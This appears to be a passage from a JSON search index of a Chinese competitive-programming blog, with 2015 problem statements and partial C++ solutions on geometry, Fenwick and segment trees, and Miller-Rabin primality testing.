输入数据中所有的整数都在32位整数范围内，n=0表示数据的结束，不做处理。 Output 对于每个测试实例，请输出对应的多边形面积，结果精确到小数点后一位小数。 每个实例的输出占一行。 Sample Input 3 0 0 1 0 0 1 4 1 0 0 1 -1 0 0 -1 0 Sample Output 0.5 2.0 Author lcy Source ACM程序设计期末考试（2006/06/07） 一个多边形。 n个定点按照逆时针方向给出.. 求面积。 1/************************************************************************* 2\u003e File Name: code/hdoj/2036.cpp 3\u003e Author: 111qqz 4\u003e Email: rkz2013@126.com 5\u003e Created Time: 2015年11月06日 星期五 12时05分30秒 6************************************************************************/ 7 8#include\u003ciostream\u003e 9#include\u003ciomanip\u003e 10#include\u003ccstdio\u003e 11#include\u003calgorithm\u003e 12#include\u003ccmath\u003e 13#include\u003ccstring\u003e 14#include\u003cstring\u003e 15#include\u003cmap\u003e 16#include\u003cset\u003e 17#include\u003cqueue\u003e 18#include\u003cvector\u003e 19#include\u003cstack\u003e 20#include\u003ccctype\u003e 21#define fst first 22#define lson l,m,rt\u003c\u003c1 23#define rson m+1,r,rt\u003c\u003c1|1 24#define ms(a,x) memset(a,x,sizeof(a)) 25using namespace std; 26const int dx4[4]={1,0,0,-1}; 27const int dy4[4]={0,-1,1,0}; 28typedef long long LL; 29#define sec second 30const int inf = 0x3f3f3f3f; 31const int N=105; 32int n; 33struct point 34{ 35double x,y; 36point(){} 37point(double _x,double _y): 38x(_x),y(-y){}; 39void input() 40{ 41scanf(\"%lf%lf\",\u0026x;,\u0026y); 42} 43double det(point p) ","date":"2015-11-06","externalUrl":null,"permalink":"/2015/11/hdoj2036/","section":"Posts","summary":"改革春风吹满地 # **Time Limit: 2000/1000 MS (Java/Others) Memory Limit: 65536/32768 K (Java/Others) Total Submission(s): 24179 Accepted Submission(s): 12504 **","tags":["算法竞赛"],"title":"hdoj 2036 (计算几何，叉积求面积)","type":"post"},{"categories":["ACM"],"content":"","date":"2015-11-06","externalUrl":null,"permalink":"/2015/11/poj1269intersectinglines/","section":"Posts","summary":"","tags":["算法竞赛"],"title":"poj 1269  Intersecting Lines (计算几何)","type":"post"},{"categories":["ACM"],"content":"B. Anton and Lines time limit per test 1 second memory limit per test 256 megabytes input standard input output standard output The teacher gave Anton a large geometry homework, but he didn’t do it (as usual) as he participated in a regular round on Codeforces. In the task he was given a set of n lines defined by the equations y = k__i*x + b__i. It was necessary to determine whether there is at least one point of intersection of two of these lines, that lays strictly inside the strip between _x_1 \u003c _x_2. In other words, is it true that there are1 ≤ i \u003c j ≤ n and x’, y’, such that: y’ = k__i * x’ + b__i, that is, point (x’, y’) belongs to the line number i; y’ = k__j * x’ + b__j, that is, point (x’, y’) belongs to the line number j; _x_1 \u003c x’ \u003c _x_2, that is, point (x’, y’) lies inside the strip bounded by _x_1 \u003c _x_2. You can’t leave Anton in trouble, can you? Write a program that solves the given task. Input The first line of the input contains an integer n (2 ≤ n ≤ 100 000) – the number of lines in the task given to Anton. The second line contains integers _x_1 and _x_2 ( - 1 000 000 ≤ _x_1 \u003c _x_2 ≤ 1 000 000) defining the strip inside which you need to find a point of intersection of at least two lines. The following n lines contain integers k__i, b__i ( - 1 000 000 ≤ k__i, b__i ≤ 1 000 000) – the descriptions of the lines. It is guaranteed that all lines are pairwise distinct, that is, for any two i ≠ j it is true that either k__i ≠ k__j, or b__i ≠ b__j. Output Print “Yes” (without quotes), if there is at least one intersection of two distinct lines, located strictly inside the strip. Otherwise print “No” (without quotes). Sample test(s) input 4 1 2 1 2 1 0 0 1 0 2 output NO input 2 1 3 1 0 -1 3 output YES input 2 1 3 1 0 0 2 output YES input 2 1 3 1 0 0 3 output NO","date":"2015-11-05","externalUrl":null,"permalink":"/2015/11/codeforces329div2b-antonandlines/","section":"Posts","summary":"B. Anton and Lines time limit per test 1 second memory limit per test 256 megabytes input standard input output standard output The teacher gave Anton a large geometry homework, but he didn’t do it (as usual) as he participated in a regular round on Codeforces. In the task he was given a set of n lines defined by the equations y = k__i*x + b__i. It was necessary to determine whether there is at least one point of intersection of two of these lines, that lays strictly inside the strip between _x_1 \u003c _x_2. In other words, is it true that there are1 ≤ i \u003c j ≤ n and x’, y’, such that:","tags":["算法竞赛"],"title":"codeforces #329 div 2 B. Anton and Lines(几何）","type":"post"},{"categories":["ACM"],"content":"A. 2Char time limit per test 2 seconds memory limit per test 256 megabytes input standard input output standard output Andrew often reads articles in his favorite magazine 2Char. The main feature of these articles is that each of them uses at most two distinct letters. Andrew decided to send an article to the magazine, but as he hasn’t written any article, he just decided to take a random one from magazine 26Char. However, before sending it to the magazine 2Char, he needs to adapt the text to the format of the journal. To do so, he removes some words from the chosen article, in such a way that the remaining text can be written using no more than two distinct letters. Since the payment depends from the number of non-space characters in the article, Andrew wants to keep the words with the maximum total length. Input The first line of the input contains number n (1 ≤ n ≤ 100) – the number of words in the article chosen by Andrew. Following are _n_lines, each of them contains one word. All the words consist only of small English letters and their total length doesn’t exceed 1000. The words are not guaranteed to be distinct, in this case you are allowed to use a word in the article as many times as it appears in the input. Output Print a single integer – the maximum possible total length of words in Andrew’s article. Sample test(s) input 4 abb cacc aaa bbb output 9 input 5 a a bcbcb cdecdecdecdecdecde aaaa output 6 Note In the first sample the optimal way to choose words is {‘abb’, ‘aaa’, ‘bbb’}. In the second sample the word ‘cdecdecdecdecdecde’ consists of three distinct letters, and thus cannot be used in the article. The optimal answer is {‘a’, ‘a’, ‘aaaa’}. 昨天真是智商掉线。 首先对于单词中出现字母超过三个的肯定要排除掉，因为单词并不能分割。 然后用cnt1[]和cnt2[][]两个数组，分别统计当只有一个字母或者两个字母的时候，所有有该字母（或两个字母）的单词，对答案的贡献度（就","date":"2015-11-05","externalUrl":null,"permalink":"/2015/11/codeforces329div2a-2char/","section":"Posts","summary":"A. 2Char time limit per test 2 seconds memory limit per test 256 megabytes input standard input output standard output Andrew often reads articles in his favorite magazine 2Char. The main feature of these articles is that each of them uses at most two distinct letters. Andrew decided to send an article to the magazine, but as he hasn’t written any article, he just decided to take a random one from magazine 26Char. However, before sending it to the magazine 2Char, he needs to adapt the text to the format of the journal. To do so, he removes some words from the chosen article, in such a way that the remaining text can be written using no more than two distinct letters.","tags":["算法竞赛"],"title":"codeforces #329 div 2 A. 2Char (暴力)","type":"post"},{"categories":["ACM"],"content":"# 题目链接 题意： 这题是问一个长度为n的循环数组中，逆序对最少的个数。。。 我们可以先用树状数组求出初始的数列的逆序对。。。 然后其他的可以通过递推得到。。。。 当a[i]从处于位置1而被放到最后的时候。。。 cnt = cnt -a[i]+n-a[i]+1; 然后取所有cnt的最大值就行。 1/************************************************************************* 2 \u003e File Name: code/hud/1394.cpp 3 \u003e Author: 111qqz 4 \u003e Email: rkz2013@126.com 5 \u003e Created Time: 2015年10月28日 星期三 21时16分47秒 6 ************************************************************************/ 7#include\u003ciostream\u003e 8#include\u003ciomanip\u003e 9#include\u003ccstdio\u003e 10#include\u003calgorithm\u003e 11#include\u003ccmath\u003e 12#include\u003ccstring\u003e 13#include\u003cstring\u003e 14#include\u003cmap\u003e 15#include\u003cset\u003e 16#include\u003cqueue\u003e 17#include\u003cvector\u003e 18#include\u003cstack\u003e 19#include\u003ccctype\u003e 20#define yn hez111qqz 21#define j1 cute111qqz 22#define ms(a,x) memset(a,x,sizeof(a)) 23using namespace std; 24const int dx4[4]={1,0,0,-1}; 25const int dy4[4]={0,-1,1,0}; 26typedef long long LL; 27typedef double DB; 28const int inf = 0x3f3f3f3f; 29const int N=5E3+7; 30int c[N]; 31int n,a[N]; 32int lowbit( int x) 33{ 34 return x\u0026(-x); 35} 36void update ( int x,int delta) 37{ 38 for ( int i = x ; i \u003c= n ; i = i + lowbit(i)) c[i] = c[i] + delta; 39} 40int Sum( int x) 41{ 42 int res = 0 ; 43 for ( int i = x ;i \u003e= 1; i = i - lowbit(i)) 44 { 45 res = res + c[i]; 46 } 47 return res; 48} 49int main() 50{ 51#ifndef ONLINE_JUDGE 52 freopen(\"in.txt\",\"r\",stdin); 53#endif 54 while (scanf(\"%d\",\u0026n)!=EOF) 55 { 56 ms(c,0); 57 for ( int i = 1 ; i \u003c= n ; i++) 58 { 59 scanf(\"%d\",\u0026a[i]); 60 a[i]++; 61 } 62 int cnt = 0 ; 63 int ans = inf; 64 for ( int i = 1 ; i \u003c= n ; i++) 65 { 66 update(a[i],1); 67 cnt = cnt + i - Sum(a[i]); 68 } 69 if (cnt\u003cans) ans = cnt; 70 for ( int i = 1 ; i \u003c= n ; i++) 71 { 72 cnt =cnt -a[i]+n-a[i]+1; 73 if (cnt\u003cans\u0026\u0026cnt\u003e0) ans = cnt; 74 } 75 printf(\"%d\\n\",ans); 76 } 77#ifndef ONLINE_JUDGE 78 fclose(stdin); 79#endi","date":"2015-10-28","externalUrl":null,"permalink":"/2015/10/hdu1394/","section":"Posts","summary":"# 题目链接","tags":["树状数组","逆序对"],"title":"hdu 1394 Minimum Inversion Number (树状数组 逆序对)","type":"post"},{"categories":["ACM"],"content":"I Hate It # **Time Limit: 9000/3000 MS (Java/Others) Memory Limit: 32768/32768 K (Java/Others) Total Submission(s): 53991 Accepted Submission(s): 21180 ** Problem Description 很多学校流行一种比较的习惯。老师们很喜欢询问，从某某到某某当中，分数最高的是多少。 这让很多学生很反感。 不管你喜不喜欢，现在需要你做的是，就是按照老师的要求，写一个程序，模拟老师的询问。当然，老师有时候需要更新某位同学的成绩。 Input 本题目包含多组测试，请处理到文件结束。 在每个测试的第一行，有两个正整数 N 和 M ( 0学生ID编号分别从1编到N。 第二行包含N个整数，代表这N个学生的初始成绩，其中第i个数代表ID为i的学生的成绩。 接下来有M行。每一行有一个字符 C (只取’Q’或’U’) ，和两个正整数A，B。 当C为’Q’的时候，表示这是一条询问操作，它询问ID从A到B(包括A,B)的学生当中，成绩最高的是多少。 当C为’U’的时候，表示这是一条更新操作，要求把ID为A的学生的成绩更改为B。 Output 对于每一次询问操作，在一行里面输出最高成绩。 Sample Input 5 6 1 2 3 4 5 Q 1 5 U 3 6 Q 3 4 Q 4 5 U 2 9 Q 1 5 Sample Output 5 6 5 9 Hint Huge input,the C function scanf() will work better than cin 套的适牛模板.感谢适牛 1/************************************************************************* 2\u003e File Name: code/hdu/1754.cpp 3\u003e Author: 111qqz 4\u003e Email: rkz2013@126.com 5\u003e Created Time: 2015年10月28日 星期三 20时34分38秒 6************************************************************************/ 7 8#include\u003ciostream\u003e 9#include\u003ciomanip\u003e 10#include\u003ccstdio\u003e 11#include\u003calgorithm\u003e 12#include\u003ccmath\u003e 13#include\u003ccstring\u003e 14#include\u003cstring\u003e 15#include\u003cmap\u003e 16#include\u003cset\u003e 17#include\u003cqueue\u003e 18#include\u003cvector\u003e 19#include\u003cstack\u003e 20#include\u003ccctype\u003e 21 22#define yn hez111qqz 23#define j1 cute111qqz 24#define ms(a,x) memset(a,x,sizeof(a)) 25using namespace std; 26const int dx4[4]={1,0,0,-1}; 27const int dy4[4]={0,-1,1,0}; 28typedef long long LL; 29typedef double DB; 30const int inf = 0x3f3f3f3f; 31#define lson l,m,rt\u003c\u003c1 32#define rson m+1 , r , rt\u003c\u003c1|1 33const int N=2E5+7; 34 34 35int n,m; 36int tree[N\u003c\u003c2]; 37void PushUp( int rt) 38{ 39tree[rt] = max(tree[rt\u003c\u003c1],tree[rt\u003c\u003c1|1]); 40} 41void build ( int l,int r,int rt) 42{ 43if (l==r) 44{ 45scanf(\"%d\",\u0026tree[rt]); 46return; 47} 48int m = (l+r) \u003e\u003e 1 ; 4","date":"2015-10-28","externalUrl":null,"permalink":"/2015/10/hdu1754ihateit/","section":"Posts","summary":"I Hate It # **Time Limit: 9000/3000 MS (Java/Others) Memory Limit: 32768/32768 K (Java/Others) Total Submission(s): 53991 Accepted Submission(s): 21180 **","tags":["算法竞赛"],"title":"hdu 1754 I Hate It (线段树)","type":"post"},{"categories":["ACM"],"content":"","date":"2015-10-27","externalUrl":null,"permalink":"/2015/10/codeforces589g-hiring/","section":"Posts","summary":"","tags":["算法竞赛"],"title":"codeforces 589 G - Hiring(模拟？)","type":"post"},{"categories":["ACM"],"content":"","date":"2015-10-27","externalUrl":null,"permalink":"/2015/10/codeforces589h-touristguidedfs/","section":"Posts","summary":"","tags":["算法竞赛"],"title":"codeforces 589H - Tourist Guide（dfs）","type":"post"},{"categories":["ACM"],"content":"B - Layer Cake **Time Limit:**6000MS **Memory Limit:**524288KB 64bit IO Format:%I64d \u0026 %I64u Submit Status Practice CodeForces 589B Description Dasha decided to bake a big and tasty layer cake. In order to do that she went shopping and bought n rectangular cake layers. The length and the width of the i-th cake layer were a__i and b__i respectively, while the height of each cake layer was equal to one. From a cooking book Dasha learned that a cake must have a form of a rectangular parallelepiped constructed from cake layers of the same sizes. Dasha decided to bake the biggest possible cake from the bought cake layers (possibly, using only some of them). It means that she wants the volume of the cake to be as big as possible. To reach this goal, Dasha can cut rectangular pieces out of the bought cake layers. She always cuts cake layers in such a way that cutting lines are parallel to the edges of that cake layer. Dasha isn’t very good at geometry, so after cutting out a piece from the original cake layer, she throws away the remaining part of it. Also she can rotate a cake layer in the horizontal plane (swap its width and length). Dasha wants her cake to be constructed as a stack of cake layers of the same sizes. Each layer of the resulting cake should be made out of only one cake layer (the original one or cut out from the original cake layer). Help Dasha to calculate the maximum possible volume of the cake she can bake using given cake layers. Input The first line contains an integer n(1 ≤ n ≤ 4000) – the number of cake layers that Dasha can use. Each of the following n lines contains two integer numbers a__i and b__i(1 ≤ a__i, b__i ≤ 106) – the length and the width of i-th cake layer respectively. Output The first line of the output should contain the maximum volume of","date":"2015-10-27","externalUrl":null,"permalink":"/2015/10/codeforces589b-layercake/","section":"Posts","summary":"B - Layer Cake **Time Limit:**6000MS **Memory Limit:**524288KB 64bit IO Format:%I64d \u0026 %I64u Submit Status Practice CodeForces 589B Description Dasha decided to bake a big and tasty layer cake. In order to do that she went shopping and bought n rectangular cake layers. The length and the width of the i-th cake layer were a__i and b__i respectively, while the height of each cake layer was equal to one.","tags":["算法竞赛"],"title":"codeforces 589 B - Layer Cake","type":"post"},{"categories":["ACM"],"content":"","date":"2015-10-27","externalUrl":null,"permalink":"/2015/10/zoj3627f-treasurehuntii/","section":"Posts","summary":"","tags":["算法竞赛"],"title":"zoj 3627 F - Treasure Hunt II(贪心)","type":"post"},{"categories":["ACM"],"content":"","date":"2015-10-27","externalUrl":null,"permalink":"/2015/10/zoj3629treasurehuntiv/","section":"Posts","summary":"","tags":["算法竞赛"],"title":"zoj 3629 Treasure Hunt IV(找规律)","type":"post"},{"categories":["ACM"],"content":"M - Bounty hunter **Time Limit:**5000MS **Memory Limit:**65536KB 64bit IO Format:%lld \u0026 %llu Submit Status Description Bounty hunter is a hero who always moves along cities to earn money by his power. One day he decides to N cities one by one At the beginning ,Bounty hunter has X money and Y points of Attack force. At day 1, he will goes to city 1, then city 2 at day 2, city 3 at day 3, … At last ,he goes to city N at day N and leaves it at day N+1. In each city, he can increase his attack force by money and earn some money by accepting a task. In the city i, it costs him ai money to increase one point of attack force. And he can gets bi*yi money after finishing the task in city i while yi is his attack force after his increasing at city i. As it’s known to all that money is the life of Bounty hunter, he wants to own as much money as he can after leaving city N. Please find out the maximal moeny he can get. PS1: when Bounty hunter leaves a city he won’t come back. PS2: Bounty hunter can increases his attack force by any real numbers he wants, if the money is enough. For example, if he has 7 money and the unit price of attack force at the city he stays now is 2, he can spend 3 money to increase attack force by 1.5. PS3: After Bounty hunter finishes the task he will leave the city at once. It means he can and only can increase his attack force before he finishes the task and gets the money at the same city. Input The first line of the input is three integers N,X,Y, (0≤N,X,Y≤100000) following is N lines. In the i-th line has two real number ai and bi.(0≤bi≤1,0\u003cai≤100000) Output Output the maximal money he can get.Two decimal places reserved. We promise that the answer is less than 1e15 Sample Input 1 10 0 1.0 1.0 3 13 5 7.0 1.0 1.1 0.6 1.0 0.6 Sample Output 10.00 25.64 dp苦","date":"2015-10-27","externalUrl":null,"permalink":"/2015/10/zoj3634bountyhunterdp/","section":"Posts","summary":"M - Bounty hunter **Time Limit:**5000MS **Memory Limit:**65536KB 64bit IO Format:%lld \u0026 %llu Submit Status Description Bounty hunter is a hero who always moves along cities to earn money by his power. One day he decides to N cities one by one","tags":["算法竞赛"],"title":"zoj 3634 Bounty hunter(dp，已经想明白)","type":"post"},{"categories":["ACM"],"content":"","date":"2015-10-26","externalUrl":null,"permalink":"/2015/10/codeforcres589j-cleanerrobot/","section":"Posts","summary":"","tags":["算法竞赛"],"title":"codeforcres 589 J - Cleaner Robot(暴力)","type":"post"},{"categories":["ACM"],"content":"I - Lottery **Time Limit:**2000MS **Memory Limit:**524288KB 64bit IO Format:%I64d \u0026 %I64u Submit Status Practice CodeForces 589I Description Today Berland holds a lottery with a prize – a huge sum of money! There are k persons, who attend the lottery. Each of them will receive a unique integer from 1 to k. The organizers bought n balls to organize the lottery, each of them is painted some color, the colors are numbered from 1 to k. A ball of color c corresponds to the participant with the same number. The organizers will randomly choose one ball – and the winner will be the person whose color will be chosen! Five hours before the start of the lottery the organizers realized that for the lottery to be fair there must be an equal number of balls of each of k colors. This will ensure that the chances of winning are equal for all the participants. You have to find the minimum number of balls that you need to repaint to make the lottery fair. A ball can be repainted to any of the _k_colors. Input The first line of the input contains two integers n and k(1 ≤ k ≤ n ≤ 100) – the number of balls and the number of participants. It is guaranteed that n is evenly divisible by k. The second line of the input contains space-separated sequence of n positive integers c__i(1 ≤ c__i ≤ k), where c__i means the original color of the i-th ball. Output In the single line of the output print a single integer – the minimum number of balls to repaint to make number of balls of each color equal. Sample Input Input 4 2 2 1 2 2 Output 1 Input 8 4 1 2 1 1 1 4 1 4 Output 3 Hint In the first example the organizers need to repaint any ball of color 2 to the color 1. In the second example the organizers need to repaint one ball of color 1 to the color 2 and two balls of the color 1 to the color 3. 1/**","date":"2015-10-26","externalUrl":null,"permalink":"/2015/10/codeforces589i-lottery/","section":"Posts","summary":"I - Lottery **Time Limit:**2000MS **Memory Limit:**524288KB 64bit IO Format:%I64d \u0026 %I64u Submit Status Practice CodeForces 589I Description Today Berland holds a lottery with a prize – a huge sum of money! There are k persons, who attend the lottery. Each of them will receive a unique integer from 1 to k.","tags":["算法竞赛"],"title":"codeforces 589 I - Lottery(水）","type":"post"},{"categories":["ACM"],"content":"","date":"2015-10-26","externalUrl":null,"permalink":"/2015/10/codeforces589d-boulevard/","section":"Posts","summary":"","tags":["算法竞赛"],"title":"codeforces 589 D - Boulevard","type":"post"},{"categories":["ACM"],"content":"A - Frogger **Time Limit:**1000MS **Memory Limit:**65536KB 64bit IO Format:%I64d \u0026 %I64u Submit Status Description Freddy Frog is sitting on a stone in the middle of a lake. Suddenly he notices Fiona Frog who is sitting on another stone. He plans to visit her, but since the water is dirty and full of tourists’ sunscreen, he wants to avoid swimming and instead reach her by jumping. Unfortunately Fiona’s stone is out of his jump range. Therefore Freddy considers to use other stones as intermediate stops and reach her by a sequence of several small jumps. To execute a given sequence of jumps, a frog’s jump range obviously must be at least as long as the longest jump occuring in the sequence. The frog distance (humans also call it minimax distance) between two stones therefore is defined as the minimum necessary jump range over all possible paths between the two stones. You are given the coordinates of Freddy’s stone, Fiona’s stone and all other stones in the lake. Your job is to compute the frog distance between Freddy’s and Fiona’s stone. Input The input will contain one or more test cases. The first line of each test case will contain the number of stones n (2\u003c=n\u003c=200). The next n lines each contain two integers xi,yi (0 \u003c= xi,yi \u003c= 1000) representing the coordinates of stone #i. Stone #1 is Freddy’s stone, stone #2 is Fiona’s stone, the other n-2 stones are unoccupied. There’s a blank line following each test case. Input is terminated by a value of zero (0) for n. Output For each test case, print a line saying “Scenario #x” and a line saying “Frog Distance = y” where x is replaced by the test case number (they are numbered from 1) and y is replaced by the appropriate real number, printed to three decimals. Put a blank line after each test case, even after the last one. ","date":"2015-10-22","externalUrl":null,"permalink":"/2015/10/poj2253-froggerfloyd/","section":"Posts","summary":"A - Frogger **Time Limit:**1000MS **Memory Limit:**65536KB 64bit IO Format:%I64d \u0026 %I64u Submit Status Description Freddy Frog is sitting on a stone in the middle of a lake. Suddenly he notices Fiona Frog who is sitting on another stone. He plans to visit her, but since the water is dirty and full of tourists’ sunscreen, he wants to avoid swimming and instead reach her by jumping. Unfortunately Fiona’s stone is out of his jump range. Therefore Freddy considers to use other stones as intermediate stops and reach her by a sequence of several small jumps. To execute a given sequence of jumps, a frog’s jump range obviously must be at least as long as the longest jump occuring in the sequence. The frog distance (humans also call it minimax distance) between two stones therefore is defined as the minimum necessary jump range over all possible paths between the two stones.","tags":["算法竞赛"],"title":"POJ 2253 - Frogger (floyd)","type":"post"},{"categories":["ACM"],"content":"A. Duff and Meat time limit per test 1 second memory limit per test 256 megabytes input standard input output standard output Duff is addicted to meat! Malek wants to keep her happy for n days. In order to be happy in i-th day, she needs to eat exactly a__i kilograms of meat. There is a big shop uptown and Malek wants to buy meat for her from there. In i-th day, they sell meat for p__i dollars per kilogram. Malek knows all numbers _a_1, …, a__n and _p_1, …, p__n. In each day, he can buy arbitrary amount of meat, also he can keep some meat he has for the future. Malek is a little tired from cooking meat, so he asked for your help. Help him to minimize the total money he spends to keep Duff happy for_n_ days. Input The first line of input contains integer n (1 ≤ n ≤ 105), the number of days. In the next n lines, i-th line contains two integers a__i and p__i (1 ≤ a__i, p__i ≤ 100), the amount of meat Duff needs and the cost of meat in that day. Output Print the minimum money needed to keep Duff happy for n days, in one line. Sample test(s) input 3 1 3 2 2 3 1 output 10 input 3 1 3 2 1 3 2 output 8 Note In the first sample case: An optimal way would be to buy 1 kg on the first day, 2 kg on the second day and 3 kg on the third day. In the second sample case: An optimal way would be to buy 1 kg on the first day and 5 kg (needed meat for the second and third day) on the second day. 做点水题换换脑子。。。 浙大月赛题已经做蒙了QAQ 这题很简单。。 扫的时候记得更新价钱的最小值就好了。 1/************************************************************************* 2\u003e File Name: code/cf/#326/A.cpp 3\u003e Author: 111qqz 4\u003e Email: rkz2013@126.com 5\u003e Created Time: 2015年10月22日 星期四 20时00分33秒 6************************************************************************/ 7 8#include\u003ciostream\u003e 9#include\u003ciomanip\u003e 10#include\u003ccstdio\u003e 11#include\u003calgorit","date":"2015-10-22","externalUrl":null,"permalink":"/2015/10/codeforces326div2a-duffandmeat/","section":"Posts","summary":"A. Duff and Meat time limit per test 1 second memory limit per test 256 megabytes input standard input output standard output Duff is addicted to meat! Malek wants to keep her happy for n days. In order to be happy in i-th day, she needs to eat exactly a__i kilograms of meat.","tags":["算法竞赛"],"title":"codeforces #326 div 2 A. Duff and Meat(水）","type":"post"},{"categories":["ACM"],"content":"","date":"2015-10-22","externalUrl":null,"permalink":"/2015/10/zoj3633-alicespresentset/","section":"Posts","summary":"","tags":["算法竞赛"],"title":"zoj 3633  - Alice's present(暴力？set)","type":"post"},{"categories":["ACM"],"content":"Cinema in Akiba Cinema in Akiba (CIA) is a small but very popular cinema in Akihabara. Every night the cinema is full of people. The layout of CIA is very interesting, as there is only one row so that every audience can enjoy the wonderful movies without any annoyance by other audiences sitting in front of him/her. The ticket for CIA is strange, too. There are n seats in CIA and they are numbered from 1 to n in order. Apparently, n tickets will be sold everyday. When buying a ticket, if there are k tickets left, your ticket number will be an integer i (1 ≤ i ≤ k), and you should choose theith empty seat (not occupied by others) and sit down for the film. On November, 11th, n geeks go to CIA to celebrate their anual festival. The ticket number of the ith geek is ai. Can you help them find out their seat numbers? Input The input contains multiple test cases. Process to end of file. The first line of each case is an integer n (1 ≤ n ≤ 50000), the number of geeks as well as the number of seats in CIA. Then follows a line containing n integers a1, a2, …, an (1 ≤ ai ≤ n - i + 1), as described above. The third line is an integer m (1 ≤ m ≤ 3000), the number of queries, and the next line is m integers, q1, q2, …, qm (1 ≤ qi ≤ n), each represents the geek’s number and you should help him find his seat. Output For each test case, print m integers in a line, seperated by one space. The ith integer is the seat number of the qith geek. Sample Input 3 1 1 1 3 1 2 3 5 2 3 3 2 1 5 2 3 4 5 1 Sample Output 1 2 3 4 5 3 1 2 思路比较清晰。 树状数组+二分 具体见注释 1/************************************************************************* 2\u003e File Name: code/zoj/3635.cpp 3\u003e Author: 111qqz 4\u003e Email: rkz2013@126.com 5\u003e Created Time: 2015年10月22日 星期四 10时03分36秒 6****************************************************","date":"2015-10-22","externalUrl":null,"permalink":"/2015/10/zoj3635cinemainakibak/","section":"Posts","summary":"Cinema in Akiba Cinema in Akiba (CIA) is a small but very popular cinema in Akihabara. Every night the cinema is full of people. The layout of CIA is very interesting, as there is only one row so that every audience can enjoy the wonderful movies without any annoyance by other audiences sitting in front of him/her.","tags":["算法竞赛"],"title":"zoj 3635  Cinema in Akiba (树状数组求第K大)","type":"post"},{"categories":["ACM"],"content":"D - Geek’s Collection **Time Limit:**2000MS **Memory Limit:**65536KB 64bit IO Format:%lld \u0026 %llu Submit Status Description The word geek is a slang term, with different meanings ranging from “a computer expert or enthusiast” to “a carnival performer who performs sensationally morbid or disgusting acts”, with a general pejorative meaning of “a peculiar or otherwise dislikable person, especially one who is perceived to be overly intellectual”. The definition of geek has changed considerably over time, and there is no longer a definitive meaning. The terms nerd, gimp, dweeb, dork, spod and gump have similar meanings as geek, but many choose to identify different connotations among these terms, although the differences are disputed. In a 2007 interview on The Colbert Report, Richard Clarke said the difference between nerds and geeks is “geeks get it done.” Julie Smith defined a geek as “a bright young man turned inward, poorly socialized, who felt so little kinship with his own planet that he routinely traveled to the ones invented by his favorite authors, who thought of that secret, dreamy place his computer took him to as cyberspace somewhere exciting, a place more real than his own life, a land he could conquer, not a drab teenager’s room in his parents’ house.“The definition of geek has changed considerably over time, and there is no longer a definitive meaning. The terms nerd, gimp, dweeb, dork, spod and gump have similar meanings as geek, but many choose to identify different connotations among these terms, although the differences are disputed. In a 2007 interview on The Colbert Report, Richard Clarke said the difference between nerds and geeks is “geeks get it done.” Julie Smith defined a geek as “a bright young man turned inward, poorly socialized, who felt so litt","date":"2015-10-22","externalUrl":null,"permalink":"/2015/10/zoj3625d-geekscollection201510ac/","section":"Posts","summary":"D - Geek’s Collection **Time Limit:**2000MS **Memory Limit:**65536KB 64bit IO Format:%lld \u0026 %llu Submit Status Description The word geek is a slang term, with different meanings ranging from “a computer expert or enthusiast” to “a carnival performer who performs sensationally morbid or disgusting acts”, with a general pejorative meaning of “a peculiar or otherwise dislikable person, especially one who is perceived to be overly intellectual”.","tags":["算法竞赛"],"title":"zoj  3625 D - Geek's Collection(正项无穷级数，麦克劳林展开式，2015年10月AC)","type":"post"},{"categories":["ACM"],"content":"","date":"2015-10-19","externalUrl":null,"permalink":"/2015/10/zoj3624lucas/","section":"Posts","summary":"","tags":["算法竞赛"],"title":"zoj 3624(lucas定理)","type":"post"},{"categories":["ACM"],"content":"","date":"2015-10-19","externalUrl":null,"permalink":"/2015/10/zoj3631j-watashisbg/","section":"Posts","summary":"","tags":["算法竞赛"],"title":"zoj 3631  J - Watashi's BG (双向暴力)","type":"post"},{"categories":["ACM"],"content":"1106 质数检测 基准时间限制：1 秒 空间限制：131072 KB 分值: 0 难度：基础题 收藏 关注 给出N个正整数，检测每个数是否为质数。如果是，输出\"Yes\"，否则输出\"No\"。 Input 第1行：一个数N，表示正整数的数量。(1 \u003c= N \u003c= 1000) 第2 - N + 1行：每行1个数(2 \u003c= S[i] \u003c= 10^9) Output 输出共N行，每行为 Yes 或 No。 Input示例 5 2 3 4 5 6 Output示例 Yes Yes No Yes No miller rabin 素数测试… 1/************************************************************************* 2\u003e File Name: code/51nod/1106.cpp 3\u003e Author: 111qqz 4\u003e Email: rkz2013@126.com 5\u003e Created Time: 2015年10月19日 星期一 18时51分06秒 6************************************************************************/ 7 8#include\u003ciostream\u003e 9#include\u003ciomanip\u003e 10#include\u003ccstdio\u003e 11#include\u003calgorithm\u003e 12#include\u003ccmath\u003e 13#include\u003ccstring\u003e 14#include\u003cstring\u003e 15#include\u003cmap\u003e 16#include\u003cset\u003e 17#include\u003cqueue\u003e 18#include\u003cvector\u003e 19#include\u003cstack\u003e 20#include\u003ccctype\u003e 21 22#define yn hez111qqz 23#define j1 cute111qqz 24#define ms(a,x) memset(a,x,sizeof(a)) 25using namespace std; 26const int dx4[4]={1,0,0,-1}; 27const int dy4[4]={0,-1,1,0}; 28typedef long long LL; 29typedef double DB; 30const int inf = 0x3f3f3f3f; 31 32bool witness(LL a,LL n) 33{ 34LL t,d,x; 35d=1; 36int i=ceil(log(n-1.0)/log(2.0)) - 1; 37for(;i\u003e=0;i--) 38{ 39x=d; d=(d*d)%n; 40if(d==1 \u0026\u0026 x!=1 \u0026\u0026 x!=n-1) return true; 41if( ((n-1) \u0026 (1\u003c\u003ci))\u003e 0) 42d=(d*a)%n; 43} 44return d==1? false : true; 45} 46bool miller_rabin(LL n) 47{ 48if(n==2) return true; 49if(n==1 || ((n\u00261)==0)) return false; 50for(int i=0;i\u003c50;i++){ 51LL a=rand()*(n-2)/RAND_MAX +1; 52if(witness(a, n)) return false; 53} 54return true; 55} 56int main() 57{ 58 59int n,cnt; 60LL a; 61while(scanf(\"%d\",\u0026n;)!=EOF) 62{ 63cnt=0; 64while(n--) 65{ 66scanf(\"%lld\",\u0026a); 67if(miller_rabin(a)) 68puts(\"Yes\"); 69else 70puts(\"No\"); 71} 72// printf(\"%dn\",cnt); 73} 74return 0; 75}","date":"2015-10-19","externalUrl":null,"permalink":"/2015/10/51nod1106millerrabin-/","section":"Posts","summary":"1106 质数检测 基准时间限制：1 秒 空间限制：131072 KB 分值: 0 难度：基础题","tags":["算法竞赛"],"title":"51nod 1106 质数检测(miller rabin 素数测试.)","type":"post"},{"categories":["ACM"],"content":"","date":"2015-10-19","externalUrl":null,"permalink":"/2015/10/51nod1001k/","section":"Posts","summary":"","tags":["算法竞赛"],"title":"51nod 1001  